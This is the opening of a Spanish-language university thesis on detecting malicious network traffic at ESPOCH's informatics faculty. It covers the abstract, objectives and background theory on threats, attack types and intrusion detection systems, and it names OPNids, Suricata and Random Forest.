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RESUMEN

El presente trabajo de titulacion tiene como objetivo analizar el trafico de datos malicioso
mediante la plataforma OPNids que consta con un motor de machine learning para la deteccion
de ataques informaticos en la red del edificio de la Facultad de Informética y Electronica (FIE)
de la Escuela Superior Politécnica de Chimborazo (ESPOCH). Para cumplir con los objetivos
propuestos se realizé un analisis del trafico de datos de la FIE con el IDS Suricata integrado en
OPNids y se detecté las amenazas y potenciales ataques informaticos a los que se encuentra
expuesta la intranet de la FIE. Se realiz6 el estudio de sobre la teoria del machine learning aplicado
a la deteccion de intrusos con sus diferentes algoritmos de clasificacion entre los cuales destaca
Random Forest un algoritmo con caracteristicas de gran precision para clasificar diferentes tipos
de ataques, a continuacidn, se llevo a cabo el proceso de entramiento del algoritmo para ajustarlo
a las necesidades de la intranet de la FIE tomando en cuenta las amenazas detectadas en el analisis
del IDS Suricata. Posteriormente se realizd la simulacion en GNS3 de las amenazas detectadas
en un escenario similar a un laboratorio de la FIE y para finalizar se evalu6 el desempefio y
efectividad de la plataforma OPNids en la deteccion de intrusos a través de ataques informaticos
del tipo DoS, R2L, U2R y de escaneo similares a los detectados en el andlisis de trafico de datos
en conjunto con los pardmetros obtenidos del algoritmo de machine learning. Obteniendo como
resultado una precision y puntaje F1 del 98% del modelo de machine learning. Para finalizar se
recomienda realizar pruebas con otros algoritmos de clasificacion y comprobar diferencia de

deteccion de intrusos entre ellos, ademas de verificar el soporte de la plataforma OPNids.

PALABRAS CLAVE: <TECNOLOGIA Y CIENCIAS DE LA INGENIERIA>,
<PLATAFORMA OPNIDS>, <MACHINE LEARNING>, <SISTEMA DE DETECCION DE
INTRUSOS>, <SURICATA IDS> <GNS3 (SOFTWARE)>, <RANDOM FOREST>,
<PRECISION>,
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ABSTRACT

This research aims to analyze malicious data traffic through the OPNids platform made of a
machine learning engine in charge of detecting computer attacks on the Informatics and
Electronics Faculty (FIE) network at Escuela Superior Politécnica de Chimborazo (ESPOCH).
An analysis of the Faculty's data traffic was carried out to meet the proposed objectives by using
the IDS Suricata integrated with OPNids, and the threats and potential computer attacks to which
the Faculty's intranet is exposed were detected. A study based on the machine learning theory
applied to detecting intrusions with its different classification algorithms was carried out, being
Random Forest, an algorithm with high precision characteristics to classify different types of
attacks. Next, the algorithm training process was conducted to adjust it to the FIE intranet's needs,
taking into account the IDS Suricata analysis threats. Subsequently, the GNS3 simulation based
on threats detected was performed in a scenario similar to a faculty laboratory. Finally, the
performance and effectiveness of the OPNids platform in detecting intrusion through computer
attacks such as DoS, R2L, U2R, and scanning similar to those detected in the data traffic analysis
were evaluated in conjunction with the parameters obtained from the machine learning algorithm.
As a result, a precision and F1 score of 98% of the machine learning model was obtained. It is
recommended to carry out tests with other classification algorithms and check the difference in

intrusion detection between them and verify the OPNids platform's support.

Keywords: < ENGINEERING SCIENCE AND TECHNOLOGY>, <OPNIDS PLATFORM>,
<MACHINE LEARNING>, <INTRUSION DETECTION SYSTEM>, <SURICATA IDS>,
<GNS3 (SOFTWARE)>, <RANDOM FOREST>, <PRECISION>.



INTRODUCCION

Con el paso del tiempo, tanto los medios de almacenamiento de informacion como los medios
para proteger la misma han ido evolucionando. En el pasado la forma de proteger los datos era
colocéndolos en una habitacion con seguridad fisica, es decir, candados, alarmas, sensores y
deméas mecanismos de seguridad, con una persona encargada de vigilar que nadie sin permiso
accediera a dichos datos. Pero con la proliferacion de las Tecnologias de la Informacion y
Comunicacion (TIC), la informacion pasé de archivadores fisicos, a estar en bases de datos
digitales, mas eficientes, robustas y manipulables desde cualquier lugar del mundo. Ademas, en
la actualidad la informacién debe ser accesible para todos los usuarios con permisos
simultaneamente. Ante esta perspectiva, la seguridad de la informacion tuvo que desarrollarse a
la par que la evolucidn tecnoldgica, motivada porque la informacion enviada a través de internet
se tornaba vulnerable ante cualquier ataque informatico existiendo el riesgo de exposicion de los

datos confidenciales. (Carazo, 2017, pp. 5-6)

La evolucion de las telecomunicaciones dio como resultado un mundo interconectado y por ende
un crecimiento acelerado de todo tipo de servicio en linea; las empresas, organizaciones, bancos,
universidades, entre otros, han facilitado al usuario un sin niamero de aplicaciones en internet que
generan gran cantidad de trafico de datos con informacion de todo tipo. Uno de los activos mas
importantes que poseen las universidades es la informacion. Sin embargo, no necesariamente se
cuenta con politicas y controles adecuados para protegerla, generando vulnerabilidades que
pueden ser aprovechadas por las amenazas existentes en el entorno y por ende afectar a la

integridad, confidencialidad y disponibilidad de la informacién de la comunidad universitaria.
(Reyes et al, 2019, pp.13)

Para las universidades el tener conocimiento sobre los incidentes que se pueden causar
aprovechando las vulnerabilidades de sus sistemas es muy importante para poder determinar e
implementar medidas preventivas y correctivas para la seguridad de sus sistemas, estas medidas
se agrupan y se forman politicas de seguridad de la informacion las cuales se deben aplicar en la
organizacién. Sin embargo, segun un estudio realizado por CEDIA en 2018 (Padilla R., et al, 2019,
pp. 80-83) revela que, de un conjunto de universidades encuestadas, Unicamente 11 cuentan con
politicas de seguridad aprobadas representando el 26%, 24 de manera parcial representando el
57%, mientras que 7 no tiene una politica de seguridad representando el 17%. cabe indicar que
en este estudio se encuestaron 46 universidades ecuatorianas entre las cuales se encontraba la
Escuela Superior Politécnica de Chimborazo (ESPOCH). Este estudio también revela que no se
realizan auditorias de seguridad, planes de contingencia y que solo 8 de cada 10 poseen
herramientas para andlisis de vulnerabilidades. Entre los principales se presenta la

implementacion de Sistemas de Deteccion de Intrusos (IDS).
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Como no existe un sistema 100% seguro, en la actualidad se ha venido desarrollando y adoptando
nuevas técnicas informaticas y estadisticas para la seguridad informéatica como el machine
learning aplicado a la ingenieria con el objetivo de mejorar los tiempos de deteccion de intrusos.
Machine Learning con sus algoritmos de aprendizaje supervisado y no supervisado pretenden
mejorar la deteccion de intrusos en la red y disminuir el porcentaje de falsos positivos generados
por las alertas comunes en los IDS. Ademas de incrementar la rapidez de deteccidn de un posible
atague a través del entrenamiento de sus algoritmos de clasificacién por medio de flujos generados
por el trafico de la red. Machine Learning nace de la inteligencia artificial y es aplicado en varias
ciencias con gran éxito y en la ciberseguridad no puede ser la excepcion, los algoritmos con un
correcto entrenamiento pueden llegar a complementar la seguridad informatica y automatizar
procesos para que el administrador de red no tenga la necesidad de revisar una a una las alertas
de posibles ataques. Si una intranet no posee al menos una de estas opciones puede quedar
expuesta por falta de politicas de seguridad como: Antivirus, credenciales temporales,

socializacion de medidas con el personal, control de acceso, entre otros.

ANTECEDENTES

Arthur Samuel, visionario en el area de los juegos de computadora y la inteligencia artificial,
asocio el término "Aprendizaje automatico” o ML por sus siglas en inglés, en 1959. (Samuel, 1959,
pp. 211-212) ElI ML nacié en conjunto con la inteligencia artificial (1A). Los investigadores querian
que las computadoras “aprendieran” de los datos. Pero dicho proceso conllevd a largos analisis y
estudios de alta complejidad con la utilizacion de métodos simbolicos, llegando a definir las
“redes neuronales"; estos fueron en su mayoria perceptrones y otros modelos que fueron
adaptados de los modelos lineales de estadistica. (Sarle, 1994, pp. 1) Sin embargo, un estudio en el
enfoque logico y basado en el conocimiento causoé la division entre la IA 'y el ML. Los sistemas
probabilisticos estaban repletos de errores tedricos y practicos de adquisicion y representacion de
datos. (Russell y Norvig, 2009, pp. 5-8) Desde 1995 hasta 2005, existi6 mucho realce en el uso del
lenguaje natural, la basqueda y la recuperacion de informacién. Las herramientas de aprendizaje
automatico eran mas simples que las utilizadas en la actualidad; estan compuestos por procesos
como regresion logistica, SVM (maquinas de vectores de soporte), nucleos con SVM y
PageRank. Google fue el pionero en hacer uso de dicha tecnologia, implementando ML en

procesos como Google News y Gmail. (Bosagh Zadeh, 2008, pp. 2)

Varias empresas desde 1980 han desarrollado varios avances como Microsoft que desarrollo
Kinect un dispositivo compuesto por una camara y sensores capaz de reconocer 20 caracteristicas
humanas a una velocidad de 30 v/s, permitiendo una interaccién con la computadora a través de

movimientos y gestos, Google con el laboratorio X desarrolla un algoritmo de ML para navegar
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e identificar videos de YouTube con datos, todo de forma autdbnoma, Facebook desarrolla su
poderoso algoritmo DeepFace utilizado para reconocimiento facial en las fotos de la red social a
un nivel de exactitud como si lo hiciera un humano por su parte Amazon lanzo su plataforma de

aprendizaje automatico. (Marr, 2016)

Con el conocimiento de los parrafos anteriores, el avance tecnoldgico abord6 todo nivel social
buscando mejorar la calidad de vida de los usuarios, pero toda accidn tiene una reaccién y provoco
el interés de personas con altos conocimientos a realizar ataques informéticos y nuevas
modalidades delictivas en contra de la informacion de los usuarios, por esta razon todo dispositivo
conectado a internet es potencialmente una victima. (Mieres, 2009, pp. 3) Para lograr mitigar el
impacto causado por los ataques informaticos, se debe estudiar y conocer la forma en la que se
realiza un ataque y determinar las debilidades de un sistema explotado en los que se deben enfocar
los esfuerzos de seguridad tendientes a la prevencion de estos. (Mieres, 2009, pp. 3) Durante los
Gltimos afios, internet ha sido testigo de un aumento considerable en el trafico malicioso, como
el generado por cualquier ataque en mayor 0 menor medida; entre ellos podemos mencionar la
denegacion de servicio (DoS), la propagacion del trafico de gusanos y malware. Se define el
trafico normal como el tréfico de red generado por los servicios y aplicaciones conocidos, por
ejemplo, web, ftp, nntp y smtp. Los ataques DDoS causan que las latencias de DNS aumenten en

un 230% y que las latencias de la web aumenten en un 30%. (Lan et al., [sin fecha], pp. 1)

La Escuela Superior Politécnica de Chimborazo registra trabajos en el area de seguridad de redes,
pero con poca relacion al tema propuesto, por esta razon la presente investigacion destaca una
propuesta tecnoldgica para el andlisis de trafico de datos malicioso mediante técnicas machine
learning, utilizando OPNids en la red del edificio de la FIE para detectar posibles atagues

informaticos en la intranet.

FORMULACION DEL PROBLEMA

¢ Es factible utilizar OPNids con técnicas Machine Learning para mejorar la deteccidn de ataques
en la red del edificio de la FIE, mediante el anélisis de trafico de datos malicioso?

SISTEMATIZACION DEL PROBLEMA

¢Es necesario analizar las técnicas actuales con el propdsito de detectar trafico malicioso?
¢ Cuéles son las plataformas utilizadas para la prevencion de ataques informaticos?

¢Es factible analizar la seguridad de la red del edifico de la Facultad de Informética y Electrénica
(FIE)?

¢ Cuéles son los parametros que determinan que la red se encuentra bajo ataques informéticos?



JUSTIFICACION DEL TRABAJO DE TITULACION

JUSTIFICACION TEORICA

En el Workshop de Investigadores en Ciencias de la Computacion de 2014 se presentd la
investigacion “Machine Learning aplicado en Sistemas de Deteccion de Intrusos” la misma se
basa en la revision bibliografica del estado del arte sobre el Machine Learning y/o minado de
datos y el area de seguridad en sistemas. Como resultado se obtiene la implementacion de los
algoritmos propuestos en la investigacién para validar las soluciones obtenidas mediante su
aplicacién a problemas de seguridad concretos en diversos entornos mediante la utilizacion de

herramientas como software libre buscando con esto perfeccionar los algoritmos inteligentes.
(Peluffo, Capobianco y Echaiz, 2014, pp. 3-4)

En Ecuador se registra la investigacion “Implementacion del sistema de gestion y administracion
de seguridad para la Direccion de Tecnologias de la Universidad Central del Ecuador (DTIC).”,
esta investigacion utilizé el sistema OSSIM una distribucion Linux que provee todas las
capacidades de seguridad en un SIEM de codigo abierto, el cual permite la recopilacién de
eventos, la normalizacidn, la correlacion y respuesta a incidentes. Como resultado obtuvieron que
OSSIM prioriza un grupo determinado de eventos lo cual facilita enormemente la tarea del
administrador de seguridad de la red informatica, al permitir obtener informacion precisa sobre

los incidentes de seguridad. (Chanaluisa, Meza y Tasipanta, 2012, pp.127-128)

La ESPOCH registra la investigacion “Modelo basado en las Técnicas de Mineria de Datos
aplicada a la deteccion de ataques en las redes de datos de la Facultad de Informatica y
Electrénica” utilizando la herramienta WEKA, obtuvo como resultado de aplicar técnicas de
mineria de datos a un conjunto de datos previamente preparados para extraer conocimiento y
generar reglas de deteccidn de intrusos. De la implantacién del modelo se obtuvo como resultado
que el 86.10 % de ataques fueron detectados en menos de 8 milisegundos. Se concluye que el

modelo desarrollado permite la deteccion oportuna de los ataques a una red de datos. (Carranzay
Naranjo, 2014, pp. 177)

Sin embargo, en la presente investigacién nos enfocamos al analisis de trafico malicioso para la
deteccion de ataques en la FIE — ESPOCH a través de la plataforma OPNids; que posee diferentes
herramientas integradas entre las més importantes destacan su Sistema de Deteccion de Intrusos
(IDS) Suricata y el motor de Machine Learning Dragonfly MLE, una tendencia creciente en la

actualidad y que puede ser aplicada en la seguridad informatica.

El Machine Learning o Aprendizaje automatico no es una tecnologia nueva, si bien en la
actualidad su utilidad ha crecido de forma exponencial en casi todos los ambitos tecnolédgicos y

sociales debido a su gran potencial con el manejo de los datos. El ser humano siempre ha querido



dotar de conocimiento y lograr que las computadoras “aprendan” por si solas por esta y varias
razones mas se relaciona al Machine Learning con la Inteligencia Artificial (IA); siendo esta una

idea equivocada porgue son dos ciencias complementarias.

La clasificacion del trafico en la red es un tema muy importante actualmente en el campo de la
informatica; es el punto de partida para analizar e identificar los diferentes tipos de aplicaciones
que fluyen en una red. A través de esta técnica, los proveedores de servicios de Internet (ISP)
pueden administrar el rendimiento general de una red. Hay muchos métodos tradicionales para
clasificar el trafico de Internet como la técnica basada en puertos, basada en la carga de pago y

basada en el aprendizaje automaético siendo esta la tendencia actual. (Shafiq et al., 2016, pp. 2451)

Un Sistema de Deteccidn de Intrusos o IDS (Intrusion Detection System) es una herramienta de
seguridad encargada de monitorizar los eventos que ocurren en un sistema informatico en busca
de intentos de intrusién. Definimos intento de intrusién como cualquier intento de comprometer
la confidencialidad, integridad, disponibilidad o evitar los mecanismos de seguridad de una
computadora o red. Las intrusiones se pueden producir de varias formas: atacantes que acceden
a los sistemas desde Internet, usuarios autorizados del sistema que intentan ganar privilegios
adicionales para los cuales no estan autorizados y usuarios autorizados que hacen un mal uso de

los privilegios que se les han asignado. (Mira, 2001, pp. 13-14)

OPNids es una plataforma o suite Open Source nacida bajo el proyecto del mismo nombre
formado por las empresas Deciso y Counterflow Al con el fin de aportar hacia el desarrollo de la
ciber seguridad de una manera libre ya que existen varias soluciones de seguridad, pero

comerciales.

JUSTIFICACION APLICATIVA

La infraestructura de red de la ESPOCH depende de la seguridad implementada por la Direccion
de Tecnologias de la Informacion y Comunicacion — DTIC y la FIE no es la excepcion, la
seguridad proporcionada por el DTIC esta compuesta por Firewalls y DMZ configurados hacia la
WAN, es decir, la intranet de la FIE est4 expuesta a un ataque interno (laboratorios, oficinas, etc.)
por esta razon es importante implementar una solucion de seguridad informatica. La investigacion
sigue la implementacion de la plataforma OPNids con sus herramientas de seguridad como IDS
y motor con técnicas de Machine Learning frente a IDS’s tradicionales como Snort un IDS basado

en reglas y gue no posee Machine Learning.



La infraestructura fisica de la FIE consta de Planta Baja, ler Piso y 2do piso, en el cual se ubica
el area de servidores que posee una conexién directa desde la Direccion de Tecnologias de la
Informacién y Comunicacién (DTIC) a través de un hilo de fibra 6ptica a un switch Cisco WS-
C3850-NM-2-10G; de este switch se distribuye a los laboratorios y oficinas administrativas que
estan equipadas con Switchs Cisco 2900 del edificio de la FIE. El switch Cisco WS-C3850-NM-
2-10G posee varios puertos en modo Mirror, el mismo que sera gestionado desde el servidor HP
Proliant DL360 Gen9 para el analisis de trafico malicioso a través de la plataforma Snort como

punto de partida y OPNids.

La FIE posee 7 laboratorios distribuidos en su infraestructura fisica mencionada anteriormente,
los laboratorios se encuentran equipados con 30 computadores cada uno, que son utilizados por
los estudiantes en un horario de 2 horas por asignatura en el periodo de 7 am a 9 pm. Cuando los
estudiantes utilizan los computadores generan un gran volumen de trafico de datos que debe ser
analizado en tiempo real tomando en cuenta las posibles amenazas internas que pueden existir y

alertar las mismas.

Para lograr cumplir con los objetivos planteados en el presente trabajo de titulacion se seguiran 3
etapas que contemplan desde el anélisis de la infraestructura de red e instalacion de la plataforma
en el edificio de la FIE, analisis y monitoreo del trafico de datos y entrenamiento del algoritmo

de machine learning para obtencion de resultados.

OBJETIVOS

OBJETIVO GENERAL

Analizar el trafico de datos malicioso mediante técnicas Machine Learning, utilizando OPNids

en la red del edificio de la FIE.

OBJETIVOS ESPECIFICOS

e Investigar las técnicas actuales de deteccion de trafico malicioso en redes corporativas.

e Analizar las caracteristicas de Machine Learning en la plataforma OPNids para determinar
ventajas o desventajas respecto a plataformas tradicionales de deteccion y prevencion de
atagques informaticos.

e Disefio e implementacion de la plataforma OPNids en la red del edificio la FIE.

e Evaluar el desempefio y efectividad de la plataforma OPNids en la deteccion de trafico

malicioso en la red del edifico de la FIE.



CAPITULO I

1. MARCO TEORICO

1.1. Seguridad de la informacién

Las organizaciones han necesitado sobrellevar la evolucion tecnoldgica, y entre las mas
importantes la seguridad de la informacidn, la cual ha sufrido dos cambios importantes en las
Gltimas décadas. Antes de los equipos de cdmputo para el procesamiento de datos, las
organizaciones protegian su informacién valiosa a nivel fisico, es decir, la seguridad de la
informacion consistia en guardar los documentos confidenciales en armarios o bdvedas con altas
seguridades y, por otro lado, por medios administrativos, como los procedimientos de proteccion

de datos del personal que se usan durante el proceso de contratacion. (Stallings, 2004, pp. 2)

Con la introduccién del computador y la revolucién que provoco Internet, se hizo evidente la
necesidad de disponer de herramientas automatizadas para la proteccion de archivos y otros tipos
de informacion almacenada en el computador. Esto ocurre especialmente en sistemas
compartidos, aplicaciones y servicios; y la necesidad se acentla en sistemas a los que se puede
acceder por medio de una red telefonica publica, una red de datos o Internet. EI nombre comun
adoptado para este conjunto de herramientas de proteccidn de datos y evitar la intrusion de los

hackers es el de seguridad informaética. (Stalling, 2004, pp. 2)

En la concepcidn de Internet los aspectos de seguridad de la informacién no fueron una prioridad
y con justificada razén, debido a que en un principio los servicios o aplicaciones ofrecidas eran
muy limitados, simples comunicaciones cliente-servidor a nivel de redes LAN, transferencia de
archivos y correo electronico, entre otros. Con el paso de los afios, la evolucién tecnolégica y los
servicios implementados en Internet cambiaron todo el sentido de la informacion, desde el bésico
correo electrénico hasta redes sociales, ubicacion (GPS), telemedicina, transacciones financieras,
compras online, etc., es decir, la informacién ya tenia un valor mas alla que ceros y unos dentro
de un computador o en un archivador, se convirtié en un bien, el mas valioso para una empresa u

organizacién y por consecuencia se debe proteger.

La seguridad de la informacion debe estar principalmente dirigida a proteger la propiedad
intelectual y la informacidn de las organizaciones y de los usuarios. Los riesgos de la informacion
estan presentes cuando se juntan dos elementos: amenazas y vulnerabilidades. Las amenazas y

vulnerabilidades estan intimamente ligadas, y no puede haber ninguna consecuencia sin la



presencia conjunta de éstas. Las amenazas deben tomar ventaja de las vulnerabilidades y pueden

venir de cualquier parte, interna o externa, relacionada con el entorno de las organizaciones.
(Tarazona, 2007, pp. 137)

Las vulnerabilidades son una debilidad en la tecnologia o en los procesos relacionados con la
informacion, y como tal, se consideran caracteristicas propias de los sistemas de informacion o
de la infraestructura que la contiene. En términos generales, una amenaza, es un evento que puede
afectar la posibilidad de que las organizaciones o las personas puedan desarrollar sus actividades

afectando directamente la informacion o los sistemas que la procesan. (Tarazona, 2007, pp. 137-138)

1.2. Amenazas informaticas

Las amenazas a las que un sistema de seguridad de redes de una organizacién esta expuesto se
pueden categorizar desde: desastres naturales (terremotos, tsunami), factores humanos
(involuntarios, errores), fallas en los sistemas informaticos y actos maliciosos o

malintencionados; que por lo general son los mas abundantes en la red. (Tarazona, 2007, pp. 138)

1.2.1. Internas

Las redes internas se representan como una red LAN, asi como se observa en la Figura 1-1,
suponiendo que este tipo de redes son las menos susceptibles a ataques son las menos protegidas,

no obstante, se debe tener en cuenta e implementar sistemas de seguridad de red.
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Figura 1-1: Red interna

Realizado por: Herrera, Jonathan 2021.



Las amenazas internas muchas veces pueden considerarse mas perjudiciales que cualquier otra,
debido a la exposicién directa de toda la red a través de los usuarios cotidianos. La mayoria de
las veces y de forma involuntaria un usuario que posee acceso a la red de la organizacion puede
por desconocimiento de la politica de seguridad o despiste otorgar informacion confidencial,
generar accesos no permitidos que dejan vulnerable la seguridad de dicha red. Por otro lado,
algunos atagques se producen por parte del personal que tienen la intencion de sustraer la

informacion confidencial de la empresa u organizacién. (Equipo de expertos, 2018)

1.2.2. Externas

Las amenazas externas se encuentran principalmente en redes que el administrador de red de una
organizacién no tiene control, por ejemplo, una red LAN conectada a Internet, como se observa

en la Figura 2-1.
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Figura 2-1: Red externa

Realizado por: Herrera, Jonathan 2021.



Este tipo de amenazas son a las que se enfrenta un sistema de seguridad de redes de una
organizacién. Lo mas comun es la infeccién de los sistemas operativos de la organizacion a través
de diferentes tipos de codigos maliciosos conocidos como virus de diferentes tipos como son:
troyanos, gusanos, malware, entre otros. Por otro lado, los ataques de un hacker son més
organizados con el fin de explotar una vulnerabilidad del sistema. El fin principal es recopilar los
datos privados e importantes que se almacenan en la empresa para extorsionar, vender esa

informacion o realizar fraudes. (Equipo de expertos, 2018)

1.2.3. Tipos de amenazas

En la tabla 1-1 se observa las amenazas mas comunes que se pueden presentar en el sistema de

una organizacion.

Tabla 1-1: Tipos de amenazas

Amenazas Descripcion

Son programas de codigo malicioso, que se alojan en los computadores infectados
cominmente por otro programa o archivo (un ejecutable, imagen, video,
Troyanos, @ descargas, etc.) con el objetivo de permitir el acceso no autorizado o el control de
virus y forma remota del sistema. Ademas, puede ser destructivo, dafiando o capturando
gusanos la informacion del computador, y generando el consumo de recursos de manera
incontrolada para bloguear o negar servicios.
El objetivo es obtener de manera fraudulenta informacion confidencial de un
usuario, principalmente del tipo financiero, redes sociales, credenciales
corporativas, entre otros. El atacante aprovecha el desconocimiento de los
Phishing | usuarios, los cuales pecan en confiar en servicios tecnoldgicos con bajos niveles
de seguridad. En la actualidad el phishing es muy sofisticado, con herramientas
de confirmacion como: mensajes de correo electronico y falsos sitios Web.
Basicamente consiste en el envio masivo de mensajes basura, el servicio mas
Spam utilizado para este tipo de amenazas es el correo electrénico, con el propésito de
difundir mensajes comerciales, financieros, servicios streaming.
Se encarga de recopilar la informacion de navegacion de un usuario, para invadir
Spywre | el navegador web con ventanas emergentes de propaganda de mercadeo, 0 para

robar informacion personal de tipo financiera,

Fuente: (Tarazona, 2007)
Realizado por: Herrera, Jonathan 2021.
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1.3. Servicios de la seguridad

El RFC 2828 define a los servicios de la seguridad como: un servicio de procesamiento o de
comunicacién proporcionado por un sistema para dar un tipo especial de proteccion a los recursos
del sistema; los servicios de seguridad implementan politicas de seguridad y son implementados,
a su vez, por mecanismos de seguridad. (Stallings, 2004, pp. 9) En la tabla 2-1 que se observa a

continuacion, se presentan todos los servicios de la seguridad que deben cumplirse:

Tabla 2-1: Servicios de la seguridad
Servicios de la Descripcién

seguridad.

La seguridad de que la entidad que se comunica es quien dice ser. Es decir,
Autentificacion = que existe una verificacion de las dos entidades involucradas asegurando
gue no exista intervencion de una tercera entidad no autorizada.
Control de Permite que una entidad autenticada obtenga acceso a varios recursos de
acceso acuerdo con su nivel de privilegio otorgado.
La certeza que los datos recibidos son exactamente los mismos que fueron
Integridad de los ' enviados por una entidad autorizada, es decir, no contienen modificacion,
datos insercion, omision ni repeticion.
Confidencialidad = La proteccion de los datos contra la revelacion no autorizada.
de los datos
Disponibilidad — La propiedad que posee un sistema, servicio o recurso de estar accesible
accesibilidad en todo momento a la solicitud de una entidad autorizada.
Evita que el emisor o receptor nieguen la transmision de un mensaje, por
No repudio consecuencia de una interrupcién de las dos entidades que participan en

la comunicacion.

Fuente: (Stallings 2004)
Realizado por: Herrera, Jonathan 2021.

1.4. Ataques Informaticos

El avance tecnoldgico y en particular en el &rea de las comunicaciones han permitido un
crecimiento mundial en aplicaciones y servicios siendo Internet el principal artifice para albergar
y compartir toda la informacién, conocimiento, herramientas, entre otros. Junto con este avance

se han desarrollado nuevos ataques y modalidades delictivas, en donde, personas con las
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herramientas y conocimientos en el area informatica han buscado distintas maneras de apoderarse
de informacién confidencial con fines negativos, con el objetivo de obtener un beneficio
econdmico, a raiz de estos acontecimientos el término “Ataque Informatico” es la manera mas
comun de describir estos actos. Un ataque informatico se define como el aprovechamiento de una
vulnerabilidad en el software, hardware, e incluso, en las personas que forman parte de un
ambiente informético. (Mieres, 2009, pp. 3-4) Debido a estos motivos, las organizaciones deben
implementar diferentes técnicas de defensa para tratar en lo posible mitigar todo acceso no

deseado.

1.4.1. Antecedentes

En la actualidad todo dispositivo conectado a Internet posee un alto riesgo de sufrir un atagque
informatico, aun mas si este no se encuentra protegido bajo alguna medida de seguridad como un
software especializado que puede ser un Antivirus, Malware, spyware o una Red Privada Virtual
(VPN) por sus siglas en ingles. La razdn se debe a la proliferacion de todo tipo de virus, gusanos,

troyanos, ransomware, por falta de educacion en la seguridad informaética.

Definir el comienzo de los ataques informaticos se remonta a mayo de 1950, cuando John Von
Neuman desarrolla el concepto de programas auto replicantes, pero todo bajo el marco de una
investigacion cientifica, la misma que se desvirt(a por la mala aplicacidn de sus conceptos a cargo
de personas mal intencionadas para causar dafios en los sistemas informéticos a niveles
universitarios propios de la época. (Manzo, 2010) No es hasta 1971, que el ingeniero Robert “Bob”
Thomas creo “Creeper” considerado el primer virus informatico, cabe recalcar que no era un
cddigo malicioso, al contrario, su objetivo era demostrar que podia migrar de un computador a
otro y reproducirse sin autorizaciéon del usuario dentro de la red de ARPANET mostrando el
mensaje: "Soy una enredadera... jatrapame si t0 puedes!". (Yubal, 2018) A pesar de que Creeper no
representaba ningln riesgo de seguridad, su idea de esparcirse de un computador a otro y de
manera relativamente facil ocasion6 que en 1974 se creara “Rabbit” el primer virus informatico
de tipo malicioso, con el objetivo de reproducirse en el computador para dejarlo sin recursos y
bajar su rendimiento. (Yubal, 2018) A lo largo del tiempo, los ataques informaticos se han ido
desarrollando muchas veces de forma casual hasta ataques organizados y especificos, entre los

maés destacados podemos mencionar los siguientes:

Yahoo la popular compafiia de correo electronico, admitié ser victima de un hackeo total de su
plataforma en el 2013, en donde se comprometieron 3000 millones de cuentas cuyos nombres,
direcciones de e-mail, nimeros de teléfono, contrasefias y, en algunos casos, preguntas de

seguridad fueron robados. (BBC News Mundo, 2016)

12



Sony Pictures Entertainment fue victima de dos grandes ataques a su infraestructura, el primero
a su division de PlayStation Network en abril de 2011, en el cual el usuario quedo sin acceso total
a la plataforma, la misma que estuvo fuera de servicio por casi un mes presentado perdidas
aproximadas de 120 millones de délares. El segundo ataque vino por parte del grupo “Guardianes
de la paz” en el 2014, donde tuvieron acceso a informacién sobre empleados, e-mails

confidenciales, direcciones e informacidn financiera. (De la Torre, 2018, pp. 1)

Uno de los ataques que han causado mas relevancia en los Ultimos afios fue el que se presentd en
mayo de 2017 con el ransomware “WannaCry”, por el cual se vieron afectados aproximadamente
150 paises y alrededor de 200,000 computadores de distintas empresas y organizaciones, entre las
maés importantes Telefonica de Espafia, la red de hospitales del Reino Unido, Latam Airlines y
varias universidades de Europa y América. Este programa malicioso consistia en “secuestrar” el
computador, es decir, bloqueaba y cifraba la informacion de un computador infectado para pedir

un rescate a través de Bitcoins. (Deloitte, 2017, pp. 33-36)

1.4.2. Tipos de ataques

Los ataques informaticos son de diferente naturaleza aplicando técnicas y métodos para vulnerar
los sistemas informéticos, actian con forme al objetivo, pero con un fin comun, obtener la
informacion de este. Por tal motivo resulta dificil nombrar todos los ataques que existe, sin

embargo, para su estudio se realiza una clasificacion general como atagques pasivos y activos.

1.4.2.1. Ataques pasivos

Un ataque pasivo, consiste en obtener la informacion que se esté transmitiendo entre dos 0 mas
computadores, una especie de escucha u observacion en el canal de comunicacion, pero de forma
oculta y sin alterar los recursos del sistema. Dos tipos de ataques pasivos son la obtencién de
contenidos de mensajes y el andlisis del trafico, siendo este el mas importante. (Stallings 2004, pp.
5-6) En la Figura 3 -1 se observa el analisis de trafico, el atacante pretende capturar la informacion
que se envia en un canal de comunicacién, suponiendo que dicha informacién se encuentra
protegida mediante la técnica de cifrado, a pesar de que este logre capturarla no podré obtener los
datos. Se debe tomar en cuenta que a pesar de entregar informacion cifrada el atacante puede
analizar el patron de envio y de esa menara determinar la localizacion y la identidad de los
servidores que se comunican y descubrir la frecuencia y la longitud de los mensajes que se estan
intercambiando. Esta informacion puede ser Util para averiguar la naturaleza de la comunicacion

gue esté teniendo lugar. (Stallings, 2004, pp. 7-8)
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Observa el patron de los datos

Emisor Internet Receptor

Figura 3-1: Analisis de trafico
Fuente: (Stallings, 2004)
Realizado por: Herrera, Jonathan 2021.

1.4.2.2. Ataques activos

Un ataque activo busca la modificacién o creacion de falsa informacion e intenta alterar los
recursos del sistema y afectar a su funcionamiento. Se pueden dividir en cuatro categorias:
suplantacion o fabricacion, repeticion o interceptacion, modificacion de mensajes e interrupcion
de servicio. La suplantacion o fabricacion como se observa en la Figura 4-1, se produce cuando
una entidad dice ser otra, es un ataque directo contra la autenticidad, porque el atacante puede
insertar datos al sistema como, por ejemplo, afiadir registros a una base de datos, direcciones IP,

e-mail, etc. (Pardo, 2016)

Internet

Y

TN

Emisor Receptor

Suplantacidon

Figura 4-1: Esquema de suplantacion

Realizado por: Herrera, Jonathan 2021.
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La interrupcion del servicio se observa en la Figura 5-1, detiene de forma temporal o definitiva el
flujo normal de las comunicaciones. Es uno de los ataques activos mas populares como, por
ejemplo, la denegacién de un servicio, una pagina web o un servidor de archivos, a través de la
inundacion de peticiones hacia el servidor provocando una sobrecarga y el fallo de este. Afecta a
la disponibilidad.

)

Interrupcion _

¢

A

= ® »
i
——
Emisor Internet
Servidor

Figura 5-1: Esquema de interrupcion

Realizado por: Herrera, Jonathan 2021.

1.5. Sistema de deteccién de intrusos (IDS)

Un gran numero de intentos de intrusion a todo tipo de organizaciones crece dia a dia, debido al
manejo de grandes volumenes de informacion a nivel de usuario, los atacantes buscan diferentes
métodos de acceso ilegitimo gque van desde un simple barrido de ping hasta técnicas sofisticadas

buscando vulnerabilidades en las redes. (Jackson et al, 2005, pp. 9)

Por esta razon es necesario el desarrollo de arquitecturas, técnicas y sistemas de deteccion y
prevencién. Como herramienta para la deteccion se crearon los Sistemas de Deteccidn de Intrusos

(IDS). (Instituto Nacional de Ciberseguridad, 2017, pp.7)

